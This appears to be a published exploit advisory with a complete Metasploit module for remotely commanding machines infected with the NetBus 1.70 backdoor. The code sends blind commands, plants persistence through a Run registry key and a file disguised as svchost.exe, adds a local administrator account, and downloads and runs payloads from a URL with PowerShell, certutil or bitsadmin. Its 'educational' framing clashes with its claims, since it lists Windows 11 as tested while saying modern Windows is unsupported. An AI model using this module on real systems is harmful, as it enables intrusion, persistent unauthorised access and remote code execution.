📄 Backdoor.Win32.Netbus.170 Blind Command Execution

=============================================================================================================================================
    | # Title     : Backdoor.Win32.Netbus.170 Blind Command Execution
                                                                    |
    | # Author    : indoushka
                                                                    |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64
    bits)                                                            |
    | # Vendor    : System built‑in component. No standalone download available
                                                                    |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213263/ & MVID-2025-0703
    
    [+] Summary    : This Metasploit module provides historical/educational
    exploitation of the Backdoor.Win32.Netbus.170 trojan, originally discovered
    in 1998.
                     It represents a legacy proof-of-concept rather than a
    modern offensive security tool.
    
    [+] Key points:
    
    This is not a native Windows vulnerability.
    It does not work on clean or properly configured systems.
    It requires existing malware, write permissions, and a trigger for
    execution.
    In real-world conditions, Windows system directories are protected and
    prevent this attack without administrative privileges.
    
    [+] What It Is :
    
    Backdoor.Win32.Netbus.170 is a detection name used by antivirus programs
    (like Kaspersky) for a variant of NetBus, a remote access Trojan (RAT) for
    Windows.
    The “170” generally refers to NetBus version 1.70 or a variant derived from
    it.
    
    [+] Origin :
    
    NetBus was originally created by Carl‑Fredrik Neikter in March 1998.
    Versions like 1.60 and 1.70 became widely known and later misused as
    backdoors.
    
    [+] Appearance :
    
    The Trojan itself is detected in Windows 32‑bit systems.
    Antivirus signatures identifying it (as Backdoor.Win32.Netbus.170) appeared
    in the 2000s, documented in Kaspersky and other AV databases.
    
    [+] Key Notes :
    
    NetBus allows remote control of infected machines via a client-server model.
    Classified as a Backdoor/Trojan, it can compromise security if executed.
    
    [+] Technical Reality Check :
    
         Aspect                   Assessment                Impact
    Exploitation Method    Blind command execution     No output/confirmation
    Reliability                  Very low             Fire-and-forget only
    Modern System Support        None             Windows 95/98/2000/XP only
    Detection Risk            Extremely high         Easily detected by all
    security tools
    Practical Value           Academic/Research only    Not for production use
    
    [+] Key Characteristics :
    
    [+] Critical Limitations:
    
        Blind Execution Only: No command output or confirmation
        No Interactive Shell: Single TCP connection, no session establishment
        Legacy Protocol: Plaintext authentication, no encryption
        Fire-and-Forget Model: Commands sent without verification
        Obsolete Targeting: Designed for Windows systems from 1998-2003 era
    
    Educational Value:
    
        Demonstrates early backdoor communication patterns
        Shows evolution from simple to complex malware
        Provides historical context for modern threat intelligence
        Useful for forensic and malware analysis training
    
    [+] How It Actually Works:
    
        Authentication: Sends plaintext password to TCP port 12631/12632
        Command Execution: Uses StartApp;command format
        Success Assumption: If connection remains open, assumes command executed
        No Verification: Cannot confirm if commands actually run
    
    What It Cannot Do:
    
        Return command output
        Establish persistent sessions
        Work on modern Windows (7/8/10/11)
        Evade modern security solutions
        Provide execution confirmation
    
    
    [+] Usage:
    
    # 1. Basic Check
    use exploit/windows/backdoor/netbus_blind
    set RHOST 192.168.1.100
    set PASSWORD ecoli
    check
    
    # 2. Simple Test
    set ACTION test
    exploit
    
    # 3. Command Execution
    set ACTION execute
    set CMD "notepad.exe"
    exploit
    
    # 4. Create User (if applicable)
    set ACTION persist
    set CREATE_USER true
    set USERNAME testuser
    set USERPASS P@ssw0rd123
    exploit
    
    # 5. Simulation Mode (for Training)
    set SIMULATE_ONLY true
    set ACTION test
    exploit
    
    [+] PoC :
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ManualRanking  # Blind execution غير موثوق
    
      include Msf::Exploit::Remote::Tcp
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'Backdoor.Win32.Netbus.170 Blind Command
    Execution',
          'Description'    => %q{
            This module exploits NetBus 1.70 backdoor via blind command
    execution.
            NetBus is a fire-and-forget backdoor that does NOT return any
    command output.
    
            CRITICAL LIMITATIONS:
            - No command output retrieval (blind execution only)
            - No interactive shell support
            - No execution confirmation
            - Commands may fail silently
            - Limited to Windows 95/98/2000/XP era systems
    
            This module implements workarounds for modern systems but success
    is not guaranteed.
            Commands are sent as-is with no verification of execution.
          },
          'Author'         => [
            'indoushka',
            'Malvuln', # 2025 advisory
            'Unknown', # Original NetBus author (~1998)
            'Metasploit Community'
          ],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['URL', '
    https://malvuln.com/advisory/086f0693f81f6d40460c215717349a1f.txt'],
            ['URL', 'https://en.wikipedia.org/wiki/NetBus'],
            ['URL', 'https://packetstormsecurity.com/files/10149/netbus.txt.html
    ']
          ],
          'DefaultOptions' => {
            'SSL' => false,
            'RPORT' => 12631,
            'WfsDelay' => 15,  # وقت أطول للأنظمة القديمة
            'PAYLOAD' => 'windows/exec',
            'CMD' => 'calc.exe'  # أمر اختبار بسيط
          },
          'Platform'       => 'win',
          'Arch'           => [ARCH_X86], # NetBus 1.70 هو 32-bit فقط
          'Payload'        => {
            'BadChars' => "\x00\x0a\x0d",
            'Space' => 1024,
            'DisableNops' => true
          },
          'Targets'        => [
            [
              'NetBus 1.70 (Windows 9x/2000/XP)', {
                'DefaultOptions' => {
                  'PAYLOAD' => 'windows/exec',
                  'CMD' => 'calc.exe'
                }
              }
            ]
          ],
          'DefaultTarget'  => 0,
          'DisclosureDate' => '1998-01-01',
          'Notes'          => {
            'Stability'   => [CRASH_SERVICE_RESTARTS],  # قد يتسبب في تعطل
            'Reliability' => [SERVICE_RESOURCE_LOSS],   # تنفيذ غير موثوق
            'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
            'AKA'         => ['NetBus Pro 1.70'],
            'RelatedModules' => [
              'exploit/windows/misc/netbus_trojan'
            ]
          }
        ))
    
        register_options([
          OptString.new('PASSWORD', [true, 'NetBus backdoor password',
    'ecoli']),
          OptInt.new('ALTERNATE_PORT', [false, 'Alternate Netbus port', 12632]),
          OptEnum.new('ACTION', [
            true,
            'Action to perform',
            'test',
            ['test', 'execute', 'persist', 'remove', 'custom']
          ]),
          OptString.new('CMD', [false, 'Command to execute (for execute/custom
    actions)', 'calc.exe']),
          OptString.new('CUSTOM_PAYLOAD', [false, 'Custom payload/command']),
          OptBool.new('TRY_POWERSHELL', [false, 'Attempt PowerShell commands',
    false]),
          OptBool.new('CREATE_USER', [false, 'Create user account if possible',
    false]),
          OptString.new('USERNAME', [false, 'Username to create', 'msfuser']),
          OptString.new('USERPASS', [false, 'Password for new user',
    'P@ssw0rd123'])
        ])
    
        register_advanced_options([
          OptBool.new('BLIND_MODE', [true, 'Assume blind execution (no
    confirmation)', true]),
          OptInt.new('CMD_DELAY', [true, 'Delay between commands (seconds)',
    3]),
          OptBool.new('RETRY_FAILED', [false, 'Retry failed commands', false]),
          OptInt.new('MAX_RETRIES', [false, 'Maximum retry attempts', 2]),
          OptBool.new('SIMULATE_ONLY', [false, 'Simulate commands without
    execution', false]),
          OptString.new('TEMP_DIR', [false, 'Temporary directory path',
    '%TEMP%'])
        ])
      end
    
      def check
        print_status("=== NetBus 1.70 Backdoor Check ===")
        print_status("Target: #{rhost}:#{rport}")
        print_warning("This is BLIND CHECK - No output will be received!")
    
        check_result = Exploit::CheckCode::Safe
    
        begin
          print_status("Attempting connection...")
          connect
    
          # Send authentication
          auth_cmd = "Password;0;#{datastore['PASSWORD']}\r\n"
          sock.put(auth_cmd)
    
          # Wait briefly for any response (NetBus rarely responds)
          response = sock.get_once(-1, 2) rescue nil
    
          if response && !response.empty?
            print_good("Received response: #{response.strip}")
    
            # Check for known NetBus responses
            if response =~ /Authenticated|OK|Welcome|NetBus/i
              check_result = Exploit::CheckCode::Vulnerable
            else
              check_result = Exploit::CheckCode::Detected
            end
          else
            # No response - typical NetBus behavior
            print_status("No response received (typical for NetBus)")
    
            # Try a simple test command
            print_status("Testing with simple command...")
            test_cmd = "StartApp;cmd.exe /c echo . > nul\r\n"
            sock.put(test_cmd)
            Rex.sleep(2)
    
            # Check if connection is still alive
            if sock && !sock.closed?
              print_warning("Connection maintained - NetBus may be present")
              check_result = Exploit::CheckCode::Appears
            else
              print_error("Connection closed unexpectedly")
            end
          end
    
        rescue ::Errno::ECONNREFUSED
          print_error("Connection refused - port may be closed")
        rescue ::Errno::ETIMEDOUT
          print_error("Connection timeout")
        rescue ::Rex::ConnectionError => e
          print_error("Connection error: #{e.message}")
        rescue ::Exception => e
          print_error("Unexpected error: #{e.class}: #{e.message}")
        ensure
          disconnect rescue nil
        end
    
        # Try alternate port if primary failed
        if check_result == Exploit::CheckCode::Safe &&
    datastore['ALTERNATE_PORT']
          print_status("Trying alternate port
    #{datastore['ALTERNATE_PORT']}...")
          begin
            connect(true, {'RPORT' => datastore['ALTERNATE_PORT']})
            sock.put("Password;0;#{datastore['PASSWORD']}\r\n")
            Rex.sleep(2)
    
            if sock && !sock.closed?
              print_warning("Alternate port #{datastore['ALTERNATE_PORT']}
    accepts connections")
              check_result = Exploit::CheckCode::Appears
            end
          rescue
            # Ignore errors for alternate port
          ensure
            disconnect rescue nil
          end
        end
    
        print_status("Check completed: #{check_result}")
        return check_result
      end
    
      def exploit
        print_warning("=" * 70)
        print_warning("NETBUS BLIND EXECUTION MODULE")
        print_warning("=" * 70)
        print_warning("IMPORTANT: This is BLIND execution - NO output will be
    received!")
        print_warning("Commands are sent with NO confirmation of execution.")
        print_warning("Success is assumed if no connection errors occur.")
        print_warning("=" * 70)
    
        if datastore['SIMULATE_ONLY']
          print_status("SIMULATION MODE - No commands will be executed")
          simulate_exploit
          return
        end
    
        # Establish connection
        unless connect_to_netbus
          print_error("Failed to establish NetBus connection")
          return
        end
    
        # Perform selected action
        case datastore['ACTION']
        when 'test'
          execute_test
        when 'execute'
          execute_command
        when 'persist'
          establish_persistence
        when 'remove'
          remove_backdoor
        when 'custom'
          execute_custom
        end
    
        print_status("Exploitation sequence completed.")
        print_warning("REMEMBER: This was BLIND execution - verify results
    manually!")
      end
    
      def connect_to_netbus
        print_status("Establishing NetBus connection...")
    
        ports = [datastore['RPORT'], datastore['ALTERNATE_PORT']].compact.uniq
        connected = false
    
        ports.each do |port|
          next unless port
    
          begin
            disconnect rescue nil
    
            print_status("Trying port #{port}...")
            connect(true, {
              'RPORT' => port,
              'Timeout' => 10,
              'CPORT' => 1025 + rand(64510)
            })
    
            # Send authentication
            auth_cmd = "Password;0;#{datastore['PASSWORD']}\r\n"
            sock.put(auth_cmd)
            Rex.sleep(2)
    
            # Check if connection is alive
            if sock && !sock.closed?
              print_good("Connected to port #{port}")
    
              # Test with simple command
              test_cmd = "StartApp;cmd.exe /c echo . > nul\r\n"
              sock.put(test_cmd)
              Rex.sleep(1)
    
              if sock && !sock.closed?
                print_good("Connection test successful")
                @active_port = port
                connected = true
                break
              end
            end
    
          rescue ::Rex::ConnectionError => e
            print_error("Port #{port}: #{e.message}")
          ensure
            disconnect unless connected && @active_port == port
          end
        end
    
        if connected
          print_status("Using port #{@active_port} for commands")
          return true
        else
          print_error("Failed to connect to any NetBus port")
          return false
        end
      end
    
      def execute_test
        print_status("=== EXECUTING TEST COMMANDS ===")
        print_warning("These are BLIND commands - no output will be seen!")
    
        test_commands = [
          "StartApp;calc.exe\r\n",
          "StartApp;notepad.exe\r\n",
          "StartApp;cmd.exe /c echo test > nul\r\n",
          "StartApp;cmd.exe /c dir C:\\ > nul\r\n"
        ]
    
        test_commands.each_with_index do |cmd, index|
          print_status("Test #{index + 1}/#{test_commands.length}:
    #{cmd.strip}")
    
          begin
            sock.put(cmd)
            Rex.sleep(datastore['CMD_DELAY'])
    
            # Check if connection is still alive
            if sock && !sock.closed?
              print_good("  Command sent (connection alive)")
            else
              print_error("  Connection lost after command")
              reconnect_if_needed
            end
          rescue ::Exception => e
            print_error("  Failed: #{e.message}")
            reconnect_if_needed
          end
        end
    
        print_status("Test sequence completed")
      end
    
      def execute_command
        cmd = datastore['CMD']
        if cmd.blank?
          cmd = 'calc.exe'
          print_warning("No command specified, using default: #{cmd}")
        end
    
        print_status("=== EXECUTING COMMAND ===")
        print_warning("Command: #{cmd}")
        print_warning("This is BLIND execution - no output will be seen!")
    
        # Format command for NetBus
        netbus_cmd = "StartApp;#{cmd}\r\n"
    
        retries = 0
        max_retries = datastore['RETRY_FAILED'] ? datastore['MAX_RETRIES'] : 0
    
        begin
          print_status("Sending command...")
          sock.put(netbus_cmd)
          Rex.sleep(datastore['CMD_DELAY'])
    
          if sock && !sock.closed?
            print_good("Command sent successfully")
            print_status("Assuming command executed (BLIND mode)")
          else
            print_error("Connection lost during command execution")
            if retries < max_retries
              retries += 1
              print_status("Retrying (#{retries}/#{max_retries})...")
              reconnect_if_needed
              retry
            end
          end
    
        rescue ::Exception => e
          print_error("Command execution failed: #{e.message}")
          if retries < max_retries
            retries += 1
            print_status("Retrying (#{retries}/#{max_retries})...")
            Rex.sleep(2)
            reconnect_if_needed
            retry
          end
        end
      end
    
      def establish_persistence
        print_status("=== ESTABLISHING PERSISTENCE ===")
        print_warning("Creating artifacts (files, registry entries, tasks)")
        print_warning("Cleanup may be required if CLEANUP is disabled")
    
        persistence_methods = []
    
        # Simple persistence methods compatible with older systems
        persistence_methods << "StartApp;cmd.exe /c copy
    C:\\Windows\\System32\\calc.exe \"%TEMP%\\svchost.exe\"\r\n"
        persistence_methods << "StartApp;reg add
    \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" /v Update /t
    REG_SZ /d \"%TEMP%\\svchost.exe\" /f\r\n"
    
        # For newer systems (if PowerShell is available)
        if datastore['TRY_POWERSHELL']
          persistence_methods << "StartApp;powershell -Command \"Copy-Item
    'C:\\Windows\\System32\\calc.exe' -Destination
    '$env:TEMP\\svchost.exe'\"\r\n"
          persistence_methods << "StartApp;powershell -Command
    \"New-ItemProperty -Path
    'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name 'Update'
    -Value '$env:TEMP\\svchost.exe' -PropertyType String -Force\"\r\n"
        end
    
        # Create user if requested
        if datastore['CREATE_USER']
          username = datastore['USERNAME']
          userpass = datastore['USERPASS']
    
          persistence_methods << "StartApp;net user #{username} #{userpass}
    /add\r\n"
          persistence_methods << "StartApp;net localgroup administrators
    #{username} /add\r\n"
        end
    
        persistence_methods.each_with_index do |cmd, index|
          print_status("Persistence step #{index +
    1}/#{persistence_methods.length}...")
    
          begin
            sock.put(cmd)
            Rex.sleep(datastore['CMD_DELAY'])
    
            if sock && !sock.closed?
              print_good("  Step completed (assumed)")
            else
              print_error("  Connection lost")
              break
            end
          rescue ::Exception => e
            print_error("  Failed: #{e.message}")
          end
        end
    
        print_status("Persistence sequence completed")
        print_warning("Artifacts created: Check manually for verification")
      end
    
      def remove_backdoor
        print_status("=== ATTEMPTING TO REMOVE NETBUS ===")
        print_warning("Removal is NOT reliable with NetBus")
    
        # Various removal commands (none are guaranteed)
        removal_attempts = [
          "RemoveServer;1\r\n",
          "RemoveServer;\r\n",
          "UnloadServer;1\r\n",
          "StopServer;1\r\n",
          "StartApp;taskkill /f /im keyhook.exe 2>nul\r\n",
          "StartApp;taskkill /f /im netbus.exe 2>nul\r\n"
        ]
    
        removal_attempts.each_with_index do |cmd, index|
          print_status("Removal attempt #{index +
    1}/#{removal_attempts.length}: #{cmd.strip}")
    
          begin
            sock.put(cmd)
            Rex.sleep(2)
    
            # Try to verify removal by attempting to reconnect
            if index == removal_attempts.length - 1  # Last attempt
              sock.put("Password;0;#{datastore['PASSWORD']}\r\n")
              Rex.sleep(1)
    
              begin
                response = sock.get_once(-1, 1)
                if response.nil?
                  print_good("  No response - backdoor may be removed")
                else
                  print_warning("  Still responding - removal may have failed")
                end
              rescue
                print_good("  Connection error - backdoor may be removed")
              end
            end
    
          rescue ::Exception => e
            print_error("  Failed: #{e.message}")
          end
        end
    
        print_status("Removal attempts completed")
        print_warning("Manual verification required!")
      end
    
      def execute_custom
        custom_cmd = datastore['CUSTOM_PAYLOAD']
        if custom_cmd.blank?
          print_error("No custom payload specified")
          return
        end
    
        print_status("=== EXECUTING CUSTOM PAYLOAD ===")
        print_warning("Payload: #{custom_cmd}")
    
        # Handle different payload types
        if custom_cmd.start_with?('http://', 'https://')
          # URL download and execute
          execute_download_payload(custom_cmd)
        elsif custom_cmd.include?('.exe') || custom_cmd.include?('.dll')
          # Assume it's a file execution
          execute_file_payload(custom_cmd)
        else
          # Treat as direct command
          netbus_cmd = "StartApp;#{custom_cmd}\r\n"
          execute_blind_command(netbus_cmd, "Custom payload")
        end
      end
    
      def execute_download_payload(url)
        print_status("Downloading payload from: #{url}")
    
        # Simple download methods
        download_methods = []
    
        # Method 1: PowerShell
        if datastore['TRY_POWERSHELL']
          ps_cmd = "powershell -Command \"(New-Object
    Net.WebClient).DownloadFile('#{url}', '$env:TEMP\\payload.exe');
    Start-Process '$env:TEMP\\payload.exe'\""
          download_methods << "StartApp;#{ps_cmd}\r\n"
        end
    
        # Method 2: Certutil
        certutil_cmd = "cmd.exe /c certutil -urlcache -split -f \"#{url}\"
    \"%TEMP%\\payload.exe\" && start \"\" \"%TEMP%\\payload.exe\""
        download_methods << "StartApp;#{certutil_cmd}\r\n"
    
        # Method 3: Bitsadmin (Windows 7+)
        bits_cmd = "cmd.exe /c bitsadmin /transfer job /download /priority high
    \"#{url}\" \"%TEMP%\\payload.exe\" && start \"\" \"%TEMP%\\payload.exe\""
        download_methods << "StartApp;#{bits_cmd}\r\n"
    
        download_methods.each_with_index do |cmd, index|
          print_status("Trying download method #{index + 1}...")
          if execute_blind_command(cmd, "Download method #{index + 1}")
            print_good("Download command sent")
            break
          end
        end
      end
    
      def execute_file_payload(filepath)
        print_status("Executing file: #{filepath}")
    
        cmd = "StartApp;start \"\" \"#{filepath}\"\r\n"
        execute_blind_command(cmd, "File execution")
      end
    
      def execute_blind_command(cmd, description = "Command")
        begin
          print_status("Executing: #{description}")
          sock.put(cmd)
          Rex.sleep(datastore['CMD_DELAY'])
    
          if sock && !sock.closed?
            print_good("Command sent (assumed executed)")
            return true
          else
            print_error("Connection lost")
            return false
          end
        rescue ::Exception => e
          print_error("Execution failed: #{e.message}")
          return false
        end
      end
    
      def reconnect_if_needed
        unless sock && !sock.closed?
          print_status("Attempting to reconnect...")
          connect_to_netbus
        end
      end
    
      def simulate_exploit
        print_status("=== SIMULATION MODE ===")
        print_status("The following commands WOULD be executed:")
    
        case datastore['ACTION']
        when 'test'
          print_status("1. StartApp;calc.exe")
          print_status("2. StartApp;notepad.exe")
          print_status("3. StartApp;cmd.exe /c echo test > nul")
        when 'execute'
          print_status("Command: #{datastore['CMD']}")
        when 'persist'
          print_status("1. Copy file to %TEMP%")
          print_status("2. Add registry Run key")
          if datastore['CREATE_USER']
            print_status("3. Create user: #{datastore['USERNAME']}")
          end
        when 'remove'
          print_status("Various NetBus removal commands")
        when 'custom'
          print_status("Custom payload: #{datastore['CUSTOM_PAYLOAD']}")
        end
    
        print_status("Simulation completed - no actual commands were sent")
      end
    
      def cleanup
        print_status("Cleaning up...") if datastore['VERBOSE']
    
        begin
          disconnect if sock && !sock.closed?
        rescue ::Exception
          # Ignore cleanup errors
        end
    
        super
      end
    end
    
    Greetings to
    :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln
    (John Page aka hyp3rlinx)|
    ===================================================================================================